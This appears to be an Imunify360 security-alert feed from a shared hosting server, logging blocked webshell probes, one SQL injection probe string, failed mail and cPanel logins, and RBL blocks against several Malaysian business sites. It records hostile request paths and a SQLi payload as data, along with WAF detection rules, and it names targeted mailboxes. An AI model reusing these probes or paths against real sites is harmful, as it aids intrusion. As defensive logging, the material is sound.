Jan 19 05:01:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.167.72 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.152
country_id: 798544
description:
Jan 19 05:02:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.152 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.202
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/var/cache/man/pt/index.db||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 12.150.243.22
country_id: 6252001
description:
Jan 19 05:08:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 12.150.243.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-01-19 05:08:17 dovecot_plain authenticator failed for H=(phorm) [12.150.243.22]:56050: 535 Incorrect authentication data (set_id=info@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.20.109.189
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=63311523523932 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.16
country_id: 2750405
description:
Jan 19 05:12:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77140852
name: IM360 WAF: SQL Dorks collection for SQL Injection
abuser: 98.94.77.58
country_id: 6252001
domain: www.nobledec.com
description:
IM360 WAF: SQL Dorks collection for SQL Injection||MVN:ARGS:id||RSV:7.64||T:APACHE||MV:'nvOpzp; AND 1=1 OR (<'\">iKO)),||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.210.214.171
country_id: 3144096
description:
Jan 19 05:17:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.210.214.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.210.214.171
country_id: 3144096
description:
2026-01-19 05:17:40 dovecot_login authenticator failed for H=([84.210.214.171]) [84.210.214.171]:36401: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.220.227
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/laravel/framework/src/Illuminate/Log HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.143.46
country_id: 3437598
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/laravel/framework/src/Illuminate/Log/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.142.146.167
country_id: 1835841
description:
Jan 19 05:19:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.142.146.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-19 05:19:38 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:41765: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/m.me/img/photos/druma.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/about-sinaran-utama-teknologi/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.177.118
country_id: 1269750
description:
Jan 19 05:23:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.177.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.177.118
country_id: 1269750
description:
2026-01-19 05:23:35 dovecot_plain authenticator failed for H=(pencum) [182.95.177.118]:38534: 535 Incorrect authentication data (set_id=sales@cabe.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-19  5:23:44 325469 [Warning] Aborted connection 325469 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 173.234.250.68
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:05-24.173.234.250.68||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 195.24.236.155
country_id: 2750405
description:
2026-01-19  5:24:40 325506 [Warning] Aborted connection 325506 to db: 'unconnected' user: 'unauthenticated' host: '195.24.236.155' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.198.132.204
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=43701516780462 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.17
country_id: 2750405
description:
Jan 19 05:27:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.32.179.144
country_id: 3175395
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/true/18/419/1816633 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.94.11
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=33241523524978 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.124.90.219
country_id: 2542007
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=13 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.25
country_id: 2750405
description:
Jan 19 05:31:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/radiation.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.70.126.235
country_id: 1269750
description:
Jan 19 05:34:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.70.126.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.163.38.102
country_id: 3077311
description:
Jan 19 05:33:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.163.38.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.190
country_id: 2750405
description:
Jan 19 05:36:48 sv3 pure-ftpd[3489842]: (?@130.12.182.190) [INFO] New connection from 130.12.182.190


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 130.12.182.190
country_id: 2750405
description:
2026-01-19  5:36:50 325965 [Warning] Aborted connection 325965 to db: 'unconnected' user: 'unauthenticated' host: '130.12.182.190' (This connection closed normally without authentication)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.182.67
country_id: 2750405
description:
[2026-01-19 05:36:54 +0800] info [cpaneld] 130.12.182.67 - payment@tujusetia.my "GET /415.shtml HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.199
country_id: 2510769
description:
Jan 19 05:44:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.199 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.210
country_id: 690791
description:
Jan 19 05:44:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.31.195.166
country_id: 2464461
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.39
country_id: 3469034
description:
Jan 19 05:55:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.39 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.232
country_id: 3175395
description:
Jan 19 05:56:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.117
country_id: 3865483
description:
Jan 19 05:56:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.24.183.178
country_id: 1269750
description:
Jan 19 05:56:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.24.183.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.117
country_id: 3865483
description:
Jan 19 05:56:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-19 06:00:05 H=(localhost.localdomain) [45.150.192.143]:51886 F=<info@edsim.com> rejected RCPT <sales@hmz.com.my>: SPF: 45.150.192.143 is not allowed to send mail from edsim.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.182.141.169
country_id: 3625428
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=203673 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.19
country_id: 3469034
description:
Jan 19 06:08:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.66.229.185
country_id: 3469034
description:
Jan 19 06:09:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.66.229.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.63.227.199
country_id: 3469034
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/contact.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.47
country_id: 798544
description:
2026-01-19 06:12:46 dovecot_login authenticator failed for H=89-68-245-47.dynamic.play.pl [89.68.245.47]:42251: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.109.71.179
country_id: 3686110
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/templates/32readwriteLineChart1.xlsx HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/languages/images/sliders/eco.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.227.152.19
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/about.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.177.23.109
country_id: 3865483
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/mssa/index.php/activities/competency-challenges-for-the-future-industry-a-future-fast-forward-by-prof-shahir-liew/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.60.45.164
country_id: 3686110
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/recognition.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.168.201.198
country_id: 6252001
description:
Jan 19 06:23:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.168.201.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.168.201.198
country_id: 6252001
description:
2026-01-19 06:23:26 dovecot_login authenticator failed for H=([166.168.201.198]) [166.168.201.198]:40199: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.175.2
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=99161514876689 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.248.138.198
country_id: 2921044
description:
Jan 19 06:34:07 sv3 pure-ftpd[3518899]: (?@104.248.138.198) [INFO] New connection from 104.248.138.198


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.135.93.7
country_id: 1643084
description:
[2026-01-19 06:34:19 +0800] info [cpaneld] 95.135.93.7 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.131.176.64
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/mirror/616/125674 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.224.33.29
country_id: 3625428
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/other1.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/apm/images/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/themes/apm||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 202.76.140.6
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/Cache.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 202.76.190.186
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/sutsbcom/public_html/wp-includes/SimplePie/src/File.php||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.44.130.34
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=171212 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.87.194.80
country_id: 1168579
description:
2026-01-19 06:45:11 dovecot_login authenticator failed for H=([103.253.19.87]) [103.87.194.80]:43394: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.52.98
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-47.166.0.52.98||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/img/about.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.242
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/tmpfiles.d/named.conf||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/img/img/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.127.82.189
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/yaml/Inline.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.41.14
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=28831514526532 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-19 06:58:56 H=(localhost.localdomain) [45.150.192.143]:36020 F=<info@edsim.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-19 07:01:02 H=(localhost.localdomain) [45.150.192.143]:39716 F=<info@edsim.com> rejected RCPT <info@mkmetal.com.my>: SPF: 45.150.192.143 is not allowed to send mail from edsim.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.33.91.183
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Formatter/OutputFormatterStyleStack.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.24
country_id: 2750405
description:
Jan 19 07:02:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.109.199.196
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-06.23.109.199.196||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.101
country_id: 2921044
description:
Jan 19 07:06:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.101
country_id: 2921044
description:
2026-01-19 07:06:24 dovecot_plain authenticator failed for H=tor-exit-101.digitalcourage.de (tr4tyygpou9guutbn6cwngbu9fxn3d8b) [185.220.101.101]:48429: 535 Incorrect authentication data (set_id=prayerlink@agpc.org.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.41.0.90
country_id: 3625428
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/knock/547183 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.156.200.194
country_id: 2464461
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/krisfood.com/products.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
